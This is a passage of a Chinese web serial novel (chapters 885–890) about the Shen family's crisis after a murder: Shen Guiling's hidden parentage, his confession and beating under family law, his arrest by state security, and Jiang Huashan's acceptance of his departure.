沈娥从前并不看好沈归灵,在她心里,大房真正的继承者只有沈年。但现在沈谦这一脉只剩下沈归灵,故人之子,她做不到无动于衷。 沈归灵淡淡点头,不置一词,又坐了回去。 沈娥并未见怪。在她看来,沈归灵刚刚经历丧父之痛,现在任何反应都说得过去。 三个小时的等待,在焦灼与寂静中流逝。 当主厅那扇沉重的门再次被郑松从内缓缓拉开时,偏厅内所有人的目光瞬间聚焦过去。 三位国安局代表面色沉静地走了出来。他们未作停留,也未与任何人交流,径直穿过前坪乘车离去。 众人尚未从这不明朗的结果中回过神,却见郑松并未随行送客,而是转身朝着偏厅走来。 郑松的身影在门口停顿,目光精准地越过众人,落在了角落里。 "兰晞少爷,"郑松的声音不高,却清晰地传入每个人耳中。 "老爷子请您去主厅一趟。" …… 第885章 身世之谜 一瞬间,偏厅内落针可闻。 所有或明或暗的视线,都交织在了沈兰晞身上。 沈娇眉头微动,沈渊眼神一凝,沈娥欲言又止。只有沈归灵,他依旧看着窗外出神,一点反应都没有。 姜花衫的心轻轻一提。 安全局的人刚刚离开,老爷子就单独召见沈兰晞,这是什么缘由? 沈兰晞脸上没有任何意外的神色,仿佛早已预料。他缓缓站起身,整理了一下并无褶皱的衣襟,抬眸瞥了沈归灵一眼,转身出了偏厅。 傅绥尔皱眉,探头凑近姜花衫,小声道:“兰晞哥那一眼,有杀气。” 姜花衫目光一怔,回头看向傅绥尔。 傅绥尔眸光闪动,对着沈归灵的方向使了个眼神,“冲那边去的。” 姜花衫:“……” * 主厅内,光线比之前明亮了些,却依旧驱不散那股无形的沉重。 沈庄背对着门口,站在那幅巨大的泼墨牡丹画前,身影挺拔依旧,却透着难以掩饰的疲惫。 沈兰晞缓步走入,在距离沈庄数步之遥处停下,“爷爷。” 沈庄点点头,回身指着下首的玫瑰圈椅,“说吧,你都查到了什么?” 沈兰晞眸光微闪,紧抿着嘴角并未接话。 沈庄拄着拐杖缓缓落座,眼神清明,“阿年回国这么久一直隐忍不发,若不是被逼到了极致,不至于疯魔到弑母杀父证道。他来沈园,是抱着必死之心见我最后一面的。” 沈兰晞沉默片刻,跟着入座,语调平静,“是沈归灵。” 沈庄扶着太师椅扶手的手指猛地收紧,嘴唇微微颤动,却发不出任何声音。 沈兰晞见沈庄并未出声阻止,继续道:“沈归灵囚禁了沈年,故意利用大伯对外断绝关系的声明刺激沈年。不仅如此,原本大伯可以幸免于难,但沈归灵利用大伯对他的信任,调走了沈公馆当夜所有安防,这才让沈年得手。” 话音落下,主厅内死一般的寂静。 沈庄没有想象中的暴怒,甚至也没有表现出过多的震惊。他只是极其缓慢地靠向椅背,那双看透世事的眼睛里,逐渐被一丝不确定的悲凉取代。 “有证据吗?”其实问出这句话时,他心里已经有了答案。但为了不冤枉他亲手养大的孩子,他还是明知故问。 沈兰晞迟疑片刻,“有。我找到了他囚禁沈年的地方,另外……还有沈公馆当晚调岗记录,所有安防一致承认是受沈归灵调度。” 沈庄闭眼,点了点头,“知道了。” “还有一件事。”沈兰晞站起身,恭敬颔首,“虽然我知道不合时宜,但我还是想问清楚。” 沈庄捏了捏眉心,“现在还有什么合不合时宜?你有什么就问吧。” 沈兰晞抬眸直视沈庄,“爷爷,沈归灵不是大伯的孩子,对吗?” 沈庄指尖微顿,抬眸与他的目光对上。 一时间,气氛凝结。 最终,沈庄几不可闻地叹息一声,“你去南湾,就是为了这件事?” 沈兰晞没有直接否认,平静陈述:“我查到了舒沐当年生产的医院,发现所有记录都有大伯母篡改的痕迹。所以,我拿了沈归灵的生物基因与大伯父做了亲子鉴定,报告显示他们不存在亲子关系。” “大伯母能愚弄大伯父是她运气好,但在沈园,运气可没有用。所以,爷爷其实一开始就知道沈归灵不是大伯父的孩子,沈归灵入家族基因库的资料,是您帮着篡改的,对吗?” 沈庄的呼吸在那一瞬间滞住了。 他定定地看着沈兰晞,“对。” 沈兰晞眉头紧蹙,“爷爷,为什么?” 这一刻,他是真的不明白。 他自小受家族教育长大,所以很清楚,沈庄的行为有多么失格。且不说混淆了家族血脉,甚至有可能埋下祸端。 而大房之祸,便是如此。 沈庄思忖片刻,摇了摇头,“没有为什么。只是因为一个母亲求到了我跟前。只是因为我看见一个风华绝代的少年,不忍他因天道不公就此走向恶路。即便他不能成为沈家的光,也必将是A国的栋梁。” 沈兰晞微愣,“可……他是来复仇的!” 沈庄同样怔愣,哑然失笑,“我知道。所以我与阿灵定下了君子之约,我原以为爱可以抵消仇恨,但原来对他来说,爱是爱,恨是恨。” “爷爷,既然一切都已经清楚,那……您打算如何处置?” 沈兰晞是位合格的继承人,在这件事上,他必须拨乱反正。 沈庄并非不懂,轻叹了一声,正要开口…… “咚咚咚——” 主厅的门被轻轻叩响,打破了室内凝重的气氛。 “爷爷,是我,清予。” 沈庄与沈兰晞俱是一怔,目光同时转向那扇紧闭的厅门。 “进来。”沈庄迅速收敛了外露的情绪,沉声道。 门被轻轻推开,沈清予的身影出现在门口。 他穿着一件深灰色西装外套,随意敞着,露出里面的黑色衬衫,领口松开了两颗扣子。几缕黑发不羁地垂落在额前,衬得他苍白的脸色愈发分明。 他快速扫了一眼厅内情形,直接越过沈兰晞对着主位上的沈庄微微躬身,声音清晰而平稳:“爷爷,沈归灵不能留了。” …… 第886章 请爷爷逐我出沈家 沈清予的话如同一块巨石投入死寂的潭水,就连沈兰晞都忍不住侧目看向他。 在此之前,沈清予对沈归灵从未表现出这么强的攻击性,这立马让沈兰晞意识到,这家伙还真掌握了不得了的秘密。 沈庄缓缓抬眸,“为什么?” 他的神色不悲不喜,语调中却带着几分锐气的质问。即便沈归灵违背了与他的约定,他也不能接受沈园的孩子在这个时候联手一起驱逐沈归灵。 沈清予是沈庄教养出的孩子,自然知道老爷子的底线是什么。 他直起身,苍白的脸上没有任何玩笑的意味,目光沉静地与沈庄对视:“爷爷,我怀疑沈归灵的身世不简单,他极有可能是S国白家王室血脉。” 话音落下的瞬间,沈兰晞眸光微暗目光霎时凝固,他猛地转向沈庄,眼神里满是难以置信。 沈庄亦然,瞳孔微微收缩,像是猝不及防地被一道强光刺中,向来喜怒不形于色的脸上清晰地掠过一丝愕然。 沈兰晞见状,心安了不少,显然老爷子并不知情。 他立马将之前在S国的所有经历都细想了一遍,原本毫无头绪的疑团终于有了眉目。 这个''真相''似乎可以完美解释之前所有逻辑不通的疑点。 比如:为什么白家人囚禁姜花衫不放,但沈归灵去了白王宫后就轻易放人了? 比如:为什么沈归灵能在毫无支援的异国反杀在S国深耕多年的沈年? 再比如:上次他拜访白朱拉时,主厅里悬挂的那幅白普大帝的肖像画…… 如果,沈归灵真的是白家血脉,这一切就变得理所当然了。 沈清予见沈庄久久没有说话,沉吟片刻又继续说道,“爷爷,我知道你对沈归灵是真心的,无关血脉,您已经将他看作自己的孩子。若非必要,您绝不可能舍弃自己的孩子。” “但如果沈归灵真的是白家的血脉,这件事的意义就不同寻常了。” “沈年叛国之罪已经是不争的事实,如今,国家安全局已经介入,让大众平息对沈家的怒火已是难如登天,万一这个时候沈归灵的身世泄露,您又该如何向民众解释,您赡养了一个异国王子的事实?” “您应该比所有人更清楚,民意最不可揣测,在家国情怀面前,没有人能理解您的小情大义。届时,所有一切都会被冠以阴谋论,只要有一个人推波助澜,沈家百年清誉毁于一旦不说,沈族子孙也必受牵连。” “爷爷,您难道要为沈归灵一人让全族背上千夫所指的骂名吗?” 沈清予的话字字珠玑,主厅内陷入一片死寂,只剩下窗外隐约的风声。 沈兰晞垂眸静立,抬眸扫了他一眼。 也是够混的,竟然敢这么跟老爷子说话。 沈庄久久未言,目光沉然落在虚空处,苦寒的指节有一下没一下地敲着紫檀木扶手,发出极轻的叩击声。 就这样,老爷子足足沉默了十分钟。 这十分钟里,没有人知道他在想什么?沈清予也没有再说话,静静等着沈庄最后的答案。 “行了……”又过了许久,沈庄摆摆手,一副累极了的模样,“你们……先回去吧。” 沈兰晞眉头微蹙,与沈清予对视一眼。两人都从对方眼中看到了不解。 “是。” 谁也不敢在这时违逆老爷子的意思,沈兰晞躬身行礼,转身离开。 沈清予张了张嘴,似乎还想说什么,最终还是将话咽了回去,跟着出了房间。 两人走后的很长一段时间里,沈庄依旧维持着之前的姿势。他如同一尊失去了所有生气的雕像,那双阅尽沧桑的眼睛,在昏黄的光线下闪烁着复杂难辨的光芒。 时间在寂静中缓慢流淌,在这段时间里,沈庄回忆起了许多事。 他初见少年时的惊艳与七年相伴的美好。 不知过了多久,老人缓缓从太师椅上站起身。 他没有唤郑松,而是独自一人拄着拐杖,脚步略显蹒跚地走向里屋的书房。 书房里陈设依旧,古朴而肃穆。 老爷子绕过宽大的书案,在角落一个不起眼的、需要特定密码和指纹才能打开的保险柜前停下。 输入密码,核对指纹,柜门悄无声息地滑开。里面没有文件,只安静地躺着一部样式极其古旧的卫星电话。 他拿起那部电话,手指在冰冷的按键上停留了许久,仿佛那有千钧之重。 最终,他按下了一串极其冗长且复杂的号码。 听筒里传来漫长而单调的等待音。 “嘟——嘟——” 电话那端毫无征兆被接通了。 沈庄深吸一口气,对着话筒,用一种低沉而平稳,却不容置疑的语气,缓缓开口,说的是一种流利却带着独特古老韵味的S国古语: “陛下,是我,沈庄。” “请您认真回答,您会喜欢像阿灵这样的孩子吗……” * 沈兰晞与沈清予刚踏出主厅,尚未走出几步,便见姜花衫从廊柱后转出,拦在了二人面前。 她脸上带着毫不掩饰的疑惑,目光在两人之间快速逡巡,最终定格在沈兰晞身上,“你们两个怎么一起出来了?” 沈兰晞脚步微顿,下意识皱了皱眉头。 以姜花衫的性子,她要是知道他们在里面谈话的内容,只怕再也不会搭理他了。 姜花衫对沈兰晞的微表情最是敏感,下意识的以为他嫌弃自己,立马摆上臭脸,“爱说不说,不说拉倒。” 顺着,转头准备攻坚一旁的沈清予,然而目光刚触及沈清予那双沉静的眼眸,脑海中骤然浮现出某个被刻意遗忘的画面。 “……” 瞬间,一股说不清道不明的尴尬和心虚攫住了她。她像是被烫到一般,迅速移开视线,连原本准备好的问话都卡在了喉咙里。 “不说拉倒,我自己去问爷爷。” 她几乎是立刻转身,头也不回沿着回廊快步离开。 沈清予看着姜花衫跑得比兔子还快的背影,懒洋洋地向后一靠,倚在了冰凉的廊柱上,嘴角止不住地勾起一抹带着自嘲的冷笑。 “呵~” 这声轻嗤在空旷的回廊里显得格外清晰。 * 实际上,姜花衫并未走远。 她只是敏捷地闪身躲进了回廊另一侧的月洞门后,借着斑驳的树影和廊柱的遮挡,屏息凝神,悄悄探出半个脑袋,目光紧紧追随着那两道即将离去的身影。 沈年死后,她并未收到剧目偏移的提醒,不知什么?这让她感到很不安。这种感觉就像沈年的死是剧目既定的剧情,它并非沈家劫难的落幕,而是序幕的开端。 她当然不会真的在这个节骨眼上冲进沁园去追问爷爷。就像她之前对爷爷说的,她有她的路,爷爷有爷爷的道。此刻贸然前去,不仅问不出什么,反而可能打乱爷爷的布局。 殊途同归,才是她和爷爷应该保持的默契。 要不去找沈归灵? 她总觉得沈年死后,沈归灵的反应有些奇怪。之前他总会忍不住看向她,但从沈年出事后,他几乎都在刻意回避她的目光,比她还避嫌。 不行!不能冒这个险。 沈园人多眼杂,就算要商量也不急于这一天,等事情缓上两天去秘密基地比较好。 心中有了思量,姜花衫转身,沿着另一条僻静的小径,朝着自己居住的院落走去。 * 翌日清晨,天光未大亮,沁园还笼罩在一层薄薄的晨霭中。 沈庄身着常服,未带随从,只拄着那根紫檀木拐杖,独自一人踏着微湿的青石板路。 竹园内,露水未晞,翠绿的竹叶上挂着晶莹的露珠,空气里弥漫着清冷潮湿的草木气息。 穿过月洞门,便见沈归灵一身素色便装蹲在一片精心打理的花圃前。他正挽着袖子,神情专注地将一些气味并不算好闻的肥料仔细地埋入一株株植物的根茎周围。他动作熟练而平稳,仿佛只是在完成一件寻常的日常功课。 沈庄在几步外停下脚步,静静看了一会儿,才缓声开口:"这么早就在忙活?" 沈归灵对老爷子的到来并未感到意外。他将手中最后一捧土轻轻拍实,才慢慢站起身,目光温和地对着沈庄微微颔首:"爷爷,早。给它们埋点冬肥,开春才能长得壮些。" 说话间,他的目光快速扫过沈庄身后,确认只有他一人,立即侧身让路:"外面凉,爷爷里面请。" 沈庄点了点头,没有多言,拄着拐杖,步履沉稳地跟着沈归灵走进了竹园的内院书房。 内院比外间更为幽静,书房陈设简洁,却自有一股矜贵孤高的气息,与真正的沈归灵如出一辙。 一室寂静中,祖孙二人相对而立。昨晚主厅内那惊心动魄的谈话余波,似乎在此刻无声地弥漫开来。 沈庄的目光落在沈归灵波澜不惊的脸上,神色淡然:"你早就知道我会来?" 沈归灵微微颔首,脸上依旧是那副温润如玉的神情。他转身走向书案,从抽屉里取出一个密封的牛皮纸袋,双手奉至沈庄面前。 "爷爷既然来了,想必是要一个交代。"他的声音平静得听不出丝毫波澜,"这里是我准备的全部资料,您请过目。" 沈庄接过纸袋,缓缓拆开。里面整齐地排列着数份文件,最上面是沈谦在南湾任职期间所有见不得光的经济往来,收受贿赂的金额、时间、经手人一目了然,条理清晰得令人心惊。 但这些沈庄手中已备有一份,他并不意外。真正让他意外的是,除了沈谦的罪状,还有一半是沈归灵自己的。 那些资料详细记录了他如何利用黑客监视姚歌和沈谦,又是如何利用沈年与姚歌的矛盾挑拨离间,甚至包括他逼疯沈年、调走沈公馆安防、借刀杀人的所有过程。 这些''罪证''条分缕析,昭示着他的狼子野心。 沈庄手指颤抖,几乎要握不住这重于千钧的分量:"你想告诉我......这都是你一人所为?" 沈归灵缓缓跪了下来,脊背却依旧挺得笔直。他抬起头,目光平静地迎向沈庄的视线,声音清晰而坚定:"是,爷爷。这一切都是我一人所为。" 姜花衫的布局并非天衣无缝,总有人要为沈年的死承担责任。而对沈家来说,最适合的人选就是他。 如此,沈家可以光明正大地将他逐出沈园。哪怕未来某天他的身份被曝光,以他这些''狼子野心''的谋划,民众也只会觉得爷爷好心养了一条毒蛇,替爷爷不值。 沈家也不会因此埋下叛国的隐患。 沈庄见他认罪坦然,心中更加五味杂陈。 他并非真的聋哑昏聩,姜花衫和沈归灵一静一动他都看在眼里。他还在想该如何保全两个孩子,沈归灵便坦然认下了一切。 不等沈庄反应,沈归灵缓缓俯身,额头触地,对着他深深一拜。 沈庄脸色微动,正要弯腰搀扶,沈归灵却轻轻推开他的手,以近乎决绝的力度又叩了两拜。 他直起身,目光低垂:"我曾经答应过您会放下仇恨,其实……从头到尾都是欺骗。但我没有想到,一个骗局的开始会得到您倾注全力的爱。当年之诺,是我失约。请爷爷......逐我出沈家。" "阿灵......" 老爷子眼眶微红:"你早就想好了?" 这是他看着长大的孩子,若真蛇蝎心肠,又怎会在这一刻选择舍弃自己?他必然是早有布局。 沈归灵摇头。他舍不得走的,奈何天意弄人。 得知沈兰晞去南湾时,他立即吩咐安缇暗中跟进。 他原以为能进沈园,是因他够聪明、隐藏得够好。但事实并非如此。真正的理由,是舒沐深谋远虑的爱,是爷爷的恻隐之心。 原来,他早就作为不是沈归灵的独立个体时得到过偏爱。 这份迟来的认知让他愧对沈庄,他无法直面那些被真心庇护的七年时光,他不忍辜负。 所以,即便他曾经答应过姜花衫绝对不会主动离开,这一刻也不得不退让。 因为,被偏爱的小孩,总是有再来一次的勇气。 …… 第887章 你什么都改变不了 “砰!” 突然一声巨响,菊园的门被一股巨大的力道撞开,傅绥尔几乎是跌跌撞撞地冲了进来。 “衫衫!不好了!出大事了!阿灵哥被老爷子绑去祠堂了。” 姜花衫正在廊下修剪一盆寒兰,从昨天开始她就一直心绪不宁,猛然听见傅绥尔的话,手中的银剪“哐当”一声掉落在青石地板上,发出刺耳的锐响。 “你说什么?”她反手抓住傅绥尔,声音是自己都未察觉的紧绷,“说清楚!到底怎么回事?” 傅绥尔急得语无伦次:“我也不知道具体!就刚才……郑松带着人直接去了竹园,什么都没说,直接把阿灵哥押走了!方向就是祠堂!我偷偷跟过去看了一眼,外面围了不少人,好像……好像已经动上家法了!” “家法……”姜花衫的心脏像是被一只无形的手狠狠攥住。 沈家的家法那可不是小孩子过家的藤条,是真正会见血的刑杖! 可是为什么? 以爷爷睿智不可能会受到蒙蔽,为什么会突然发作沈归灵? 忽然,她想到什么,神色骤然苍白。 一定是沈兰晞和沈清予透露了什么?眼下这个节骨眼,沈归灵的身份对沈家来说无异于毒药砒霜,所以…… 现在的剧情节点是,沈归灵被赶出沈园? 这念头瞬间在姜花衫脑中炸开,她只觉头皮发麻,低头看着自己的双手。 所以,是她一手促成了现在的结果。 “走!” 姜花衫甚至来不及换下脚下的乌龟拖鞋,转身朝着沈园祠堂的方向狂奔而去。 傅绥尔微愣了一下,立刻提起裙摆追了上去。 祠堂院门外已经围满了人。沈娇、沈让、沈渊皆屏息凝神地立在远处,神情复杂,而最靠近那两扇朱漆大门的,是沈兰晞与沈清予。 沈兰晞背对着祠堂,身姿挺拔如松,面容冷峻,仿佛一尊守门的石雕。 沈清予则微微侧身站着,目光低垂,落在脚下的青石板上,叫人看不清他眼底的情绪。 姜花衫像一阵风似的冲到近前,看也不看那两人,就要往祠堂里闯。 “衫衫!”沈兰晞手臂一横,如同铁栏般拦在了她面前。 姜花衫抬头,眼中是燎原的怒火,“让开!” “爷爷说了,任何人不得入内。”沈兰晞被她眼里的怒火刺痛,声音淡得没有半分起伏。 就在这时,祠堂内清晰地传出了杖棍落在皮肉上的沉闷声响。 “啪!” 那声音并不响亮,却厚重无比,带着骨骼与血肉被重重责打的实感,一下,又一下,规律而冷酷地敲击在每个人的耳膜上。 姜花衫眸光微沉。她听得出来,这绝不是做戏,是真真正正、毫不留情的家法! “让我进去!我要见爷爷!”她再次试图冲破沈兰晞的阻拦,声音因为愤怒而尖锐起来,“沈兰晞你让开!” 沈兰晞的手臂纹丝不动,他居高临下地看着她,眼神复杂,带着一丝难以言喻的沉郁:“就算你进去也改变不了什么?何必呢?” 改变不了什么? 姜花衫听了这句话几乎要笑出眼泪来了。 她处心积虑汲汲营营为得就是改变所有人的结局,可沈兰晞却说她改变不了什么?这不是杀人诛心吗? 她的目光猛地化为实质性的谴责,怒道:“是你!是你们!你们沆瀣一气想把他赶出沈园?” 沈兰晞被她眼中的谴责刺得一怔,手臂的力道却未松,只是眉头锁得更紧。 就在这时,一直沉默旁观的沈清予终于动了。 他上前一步,挡在了姜花衫与沈兰晞之间,微微侧身,隔开了两人剑拔弩张的视线。他没有看沈兰晞,而是将目光投向一脸愤怒的姜花衫。 “小花儿,”沈清予的声音却比平时缓和了许多,明显是不想再刺激她,“事情不是你想的那样,你先回去,等这件事过了我再解释……” 姜花衫猛地转头瞪向他,眼中的怒火几乎要将他灼穿:“不是哪样?!你又怎么知道,什么都不懂的那个人一定是我?!” 沈清予被她这句尖锐的反问刺得一滞,喉结轻轻滚动了一下,脸上掠过一丝错愕。 就在这短暂的僵持中,祠堂内的杖刑声毫无预兆地戛然而止。 这突如其来的死寂,比之前的行刑声更让人窒息。 姜花衫脸色煞白,再也顾不得与沈清予争辩,猛地转头死死盯住那扇紧闭的门扉,一种强烈的不安让她浑身发冷。 “吱呀”—— 沉重的祠堂大门发出一声闷响,一道极其高大的身影缓缓从里面走了出来。 郑松面色沉肃,目光在众人脸上逡巡了一圈,侧身让出一条路。 姜花衫心下一沉,正要抬步往里冲,却在看清门内景象的瞬间,血液仿佛瞬间凝固,整个人僵在了原地。 祠堂内光线幽暗,两名身形健硕的保镖一左一右,几乎是完全承托着一个身影,缓慢而沉重地迈过那高高的门槛。 沈归灵如同一架被打碎骨头的傀儡,墨色的发丝被冷汗浸透,凌乱地贴在皮肤上,长而密的睫毛在近乎透明的脸颊上投下两道脆弱的阴影。 最触目惊心的是他的后背。 破碎的布料下,是纵横交错、皮开肉绽的杖痕,鲜血沿着伤口缓慢地渗出,顺着他无力垂落的手臂,一滴一滴砸落在祠堂门前光滑的青石板上。 沈归灵就像是一尊被精心雕琢却又被无情打碎的白玉雕像,头无力地偏向一侧,脖颈处青筋颤动,但即便如此也没有发出一点声音。 姜花衫缓缓侧头,两人身形交汇的瞬间,郑松如同一座人行巨山横挡在她面前。 “沈……” 她只觉心脏像是被一只冰冷的手狠狠揪住,说不清楚是什么感觉。她下意识地向前迈出一步,总觉得自己应该再做些什么。 “衫衫!”沈兰晞一把拉住她的手腕,几乎是用上了力道,将她牢牢禁锢在原地,不让她再向前半分。 “别动。”他的声音压得极低,带着一种前所未有的紧绷。 就在这电光火石之间,一阵急促而整齐的脚步声打破了祠堂的肃静。 众人惊愕地循声望去。 只见回廊尽头,数名身着笔挺黑色制服的人员,在一队荷枪实弹特警的护卫下,如同利刃般切入这片混乱的场域。为首一人,约莫四十岁上下,面容冷硬如铁,眼神锐利如鹰,手中持着一份醒目的红色封皮文件。 国家安全局的执法员。 沈家众人立马认出了对方的来历,脸色微变。 那人的目光在众人中逡巡了一圈,最终精准定格在了浑身是血的沈归灵身上。他无视了其他人,径直走向郑松,亮出证件和那份红色文件:“国家安全局特别行动组。现正式接管重要嫌疑人沈归灵。这是最高级别的接管令。” …… 第888章 龟离园 国安局出手了,也就是说沈归灵的身份彻底暴露了,剧情最终还是走到了这一步。 郑松接过红色文书,侧身让开了通路,对着身后两名保镖点了点头:“交给他们。” 两名安全局的人员立刻上前,他们的动作算不上温柔,沈归灵在被交接的瞬间,身体因牵动伤口而剧烈地颤抖了一下,但他依旧没有睁眼,像是彻底沉入了无边的黑暗与痛苦之中。 姜花衫站在人群里,一动不动地看着沈归灵如同物品一样被交接、带走。 整个过程,她的脸上没有任何表情,甚至连一开始的愤怒都没有痕迹。 沈归灵被带走后,祠堂门前恢复了冷清,只留下那摊刺目的血迹还留有余温。 沈兰晞看着姜花衫那异常平静的反应,眉头紧锁,心中的沉重感挥之不去。他张了张嘴,想说什么,却发现任何言语在此刻都显得苍白无力。 沈清予缓步走上前,在姜花衫身后一步之遥停下。他看着她单薄而僵直的背影,那双总是带着几分凉薄的眼眸此刻盛满了复杂的情绪。 他不忍,即便知道会被推开还是小心翼翼上前:“小花儿,你放心,沈归灵不会……” “不会什么?”姜花衫抬眸,澄净的眸光里清楚倒映出沈清予的脸,“你们根本不知道,你们从我身边带走了什么?” 她当然知道沈归灵不会有事,他是这个世界里极其重要的人物角色,眼前的困境也只是他重回巅峰的一次历练而已。 但她越是知道,心境越是荒凉。 因为剧目依旧没有改变,沈归灵还是走了。 沈清予看着她,只觉得她那单薄的背影在空旷的院中显得格外孤寂,他想安慰她,但又不知道该说什么。 姜花衫没有再看他,也没有再看任何人,沉默地转过身,踩着那双与周遭沉重氛围格格不入的乌龟拖鞋,一步一步离开了祠堂。 傅绥尔放心不下,二话不说跟了上去。 回到菊园,姜花衫甚至没有停顿,径直走进了书房。 她脸上依旧没什么表情,既没有悲伤,也没有愤怒,平静得令人心慌。就在傅绥尔斟酌着该如何开口安慰时,却见姜花衫从书桌抽屉里取出厚厚一沓文件,“啪”地一声放在了桌面上。 “绥尔,你来得正好。”姜花衫抬起头,目光清明,“关于余笙的叛国案,我整理了一些新的案例和可能用到的法律条文切入点,我们一起看一下?” 姜花衫摊开文件,拿起笔,指尖稳健地在纸面上划过,条理清晰地向她分析着案子的关键点和潜在风险,仿佛刚才那个不顾一切冲向祠堂的人根本就不是她。 傅绥尔不忍,神情关切:“衫衫,你……你没事吧?” 姜花衫笔尖微顿,掀眸看着她:“你也觉得我会有事?为什么?” 傅绥尔这才反应过来,眼神有些闪躲:“我……那个……” 姜花衫心照不宣,扯着嘴角笑了笑:“你也知道了?” 傅绥尔眸光微滞,小心看了姜花衫一眼,见她没有丝毫不悦才点了点头:“嗯。” 她没有告诉姜花衫,有好几次她和沈归灵偷偷约会都是她在暗中帮忙遮掩,还有上次在鲸鱼岛,她也是故意出声提醒他们有人的。 姜花衫哑然失笑:“连你都知道了,我还以为自己藏得很好。” 傅绥尔抓了抓脸:“你是隐藏得很好,露馅的是阿灵哥。有一天,我看见他手腕上戴着你的头绳,偷偷观察才发现了端倪,还有,他每次跟你说话,眼神都特别不一样。” 第889章 不困于心 夏星沉正要喝水,动作却忽然顿住,狭长的眼眸瞥向亮起的手机屏幕,眉梢几不可察地挑了一下。 他放下水瓶,不紧不慢地走过去拿起手机。 解锁后,界面直接跳转到刚接收到的转账信息。他忽略那串令人心动的数字,点开汇款人信息—— 是一个陌生的加密账号,头像用简笔勾勒出一只卡通兔子的侧脸,线条圆润可爱,最引人注目的是那双夸张竖起的耳朵,仿佛在努力探听什么机密。 【叮咚】 【求李儒和余斯文勾结实锤。】 "......" 几乎是瞬间,夏星沉的脑海里就浮现出一张熟悉的面孔。 他闭了闭眼,还没想好如何回应,对方又发来一条消息: 【价格好说。】 "......" 夏星沉皱了皱眉,本能地生出抗拒。上次答应帮忙,不过是偿还她照顾奶奶的人情,银货两讫后本该两清。 他的手指在屏幕上悬停片刻,最终面无表情地按下删除键,对话框瞬间恢复空白,仿佛什么都不曾发生过。 夏星沉转身走进浴室,将水流开到最大,试图冲散心头那抹莫名的躁动。 水流哗啦啦地冲刷着结实的肌理。十分钟后,他关掉水阀,扯过浴巾胡乱擦了擦湿漉漉的头发,带着一身未干的水汽走出浴室。 房间内一片寂静,只余水珠滴落的声音。 他的目光不受控制地瞥向床头,沉默片刻,终究还是闭了闭眼,起身走到床前,从床垫夹层中取出一枚黑色存储芯片。 像是终于放弃了抵抗,他略带烦躁地"啧"了一声,快速操作连接的独立终端。屏幕亮起,他精准调出其中一段标红的音频文件,指尖在发送键上悬停了一瞬。 那迟疑仅有片刻。 下一刻,他按下了确认。 【文件发送成功。】 提示音响起的瞬间,他几乎立即切断了设备电源,仿佛多看一眼都会后悔。他将自己摔进沙发,仰头望着天花板上冰冷的灯光,抬手揉了揉眉心,喉间溢出一声几不可闻的低咒。 "真是......鬼迷心窍了。" 【叮咚】 【邮件提醒:对方已收取您的邮件】 屏幕上的收取回执为这次破例画上了句号。 空气中那点说不清道不明的躁动也随之沉淀。 夏星沉盯着那行小字看了两秒,修长的手指在冰冷的屏幕上快速敲击,带着刻意营造的疏离与简练,发送了一条消息: 【到此为止。后续勿扰。】 发送完毕,他准备彻底翻过这一页。 然而就在消息发出的下一秒—— 手机屏幕骤然闪烁,弹出一条冰冷的系统提示,字体是毫无感情的灰色: 【信息发送失败。请确认对方是否仍在您的联系人列表中。】 夏星沉的动作瞬间僵住。 不是没收到,不是延迟......而是发送失败? 一个荒谬又清晰的念头闪过脑海。 他不信邪地再次尝试发送了一个最简单的标点符号。 【?】 同样的灰色提示再次弹出,像一记无声的耳光,带着几分嘲讽的意味。 【信息发送失败。请确认对方是否仍在您的联系人列表中。】 "......" 夏星沉盯着反复出现的提示,沉默了足足三秒。随即他将手机扔到角落,抬手覆住眼睛,嘴角扯出一抹意味不明的冷笑。 用完就丢。这界限,倒是划得清清楚楚。 * 菊园的绣楼内灯火通明,与窗外沉落的暮色形成鲜明对比。 姜花衫和傅绥尔并肩坐在宽大的书桌后,桌面上铺满了关于余斯文案件的材料、法律条文摘要,以及刚刚从夏星沉那里获取的加密音频文件转录稿。 "太好了!有了这个,看余斯文还怎么狡辩!"傅绥尔兴奋地握了握拳,"我就说给钱有用吧?他都没问你是谁,东西就直接发过来了。以后好办了,咱们想买什么就找他。" 姜花衫盯着手中的证据,眉头紧锁。 事情怎么会如此顺利? 难不成是李家又在设局? 可这份证据事关重大,李儒就算要下饵,也不该拿自己的身家性命冒险。 没等姜花衫理清头绪,傅绥尔已经拿起她的手机,利落地将夏星沉的账号拉黑,清空了所有记录。 "这家伙狡猾得很,可不能让他知道证据在我们手里。下次找他咱们再换个号,这样就万事大吉了。"傅绥尔得意地眨眨眼,"嘿嘿,我还真是个机灵鬼。" 姜花衫侧过头,目光落在傅绥尔明媚朝气的脸上,眉宇间的凝重顷刻消散,嘴角不自觉地扬起一抹真心的笑意。 原来如此。 不是因为李儒另有所图,也不是因为夏星沉突然转性。 而是因为傅绥尔。 因为她身上那份"无与伦比的幸运",在这种近乎bUg的属性加持下,只要有她参与的剧情,再复杂的局面似乎都会被无形之力牵引,朝着简单甚至对她们有利的方向发展。 想通这一点,姜花衫看向傅绥尔的眼神变得复杂,既有恍然,又带着难以言喻的庆幸。 她并非什么都改变不了。她改变了很多。 绥尔、妙妙、枝枝、周琦姗、余笙,甚至是萧澜兰......她们所有人都在与既定的命运抗争。即便走着相似的路,也绝不是从前的她们了。 她垂眸看着手中这份关乎许多人命运的证据,又抬眼望向窗外沉沉的暮色。那些因沈归灵离去而产生的无力与荒凉,在这一刻奇异地被治愈了。 她的难过与沮丧,从来不只是因为离别。只要心意相通,总有重逢之日。她真正难过的是,付出了那么多努力,却依然无法改变分离的结局。她比谁都清楚沈归灵终将离开,因此生出了与命运抗争的反骨,在沈归灵步步引诱下清醒地沦陷,因为她想要改写这段剧情。 直到昨天为止,她从未想过自己会输。所以当剧情突然转折时,她才会措手不及。 而现在,她忽然不再执着于沈归灵身在何处,是去是留。因为她明白了一个道理:当她试图用自己困住沈归灵时,其实也为自己设下了牢笼。 要想不被困在任何一场戏文里,就必须打破身上所有的枷锁。 牢笼锁不住爱,放手才能。 这个认知如同一道温和却有力的光,穿透了她心头的阴霾。 她回头看向陪伴在身边的傅绥尔,莞尔一笑:"绥尔,谢谢你。" 傅绥尔全然没有察觉姜花衫复杂的心理活动,得到夸奖后笑得更开心了。 她干劲十足地重新投入资料堆中:"那我们接下来就照着这个方向,狠狠打余斯文个措手不及!你放心,我永远陪着你。" ...... 第890章 女王驾到 沈归灵被安全局人员带离沈园后,并未如外界猜测那般被投入寻常看守所,而是被秘密转移至一处不对外公开的特殊羁押地点。 这里与其说是监狱,更像一个与世隔绝的审查中心。 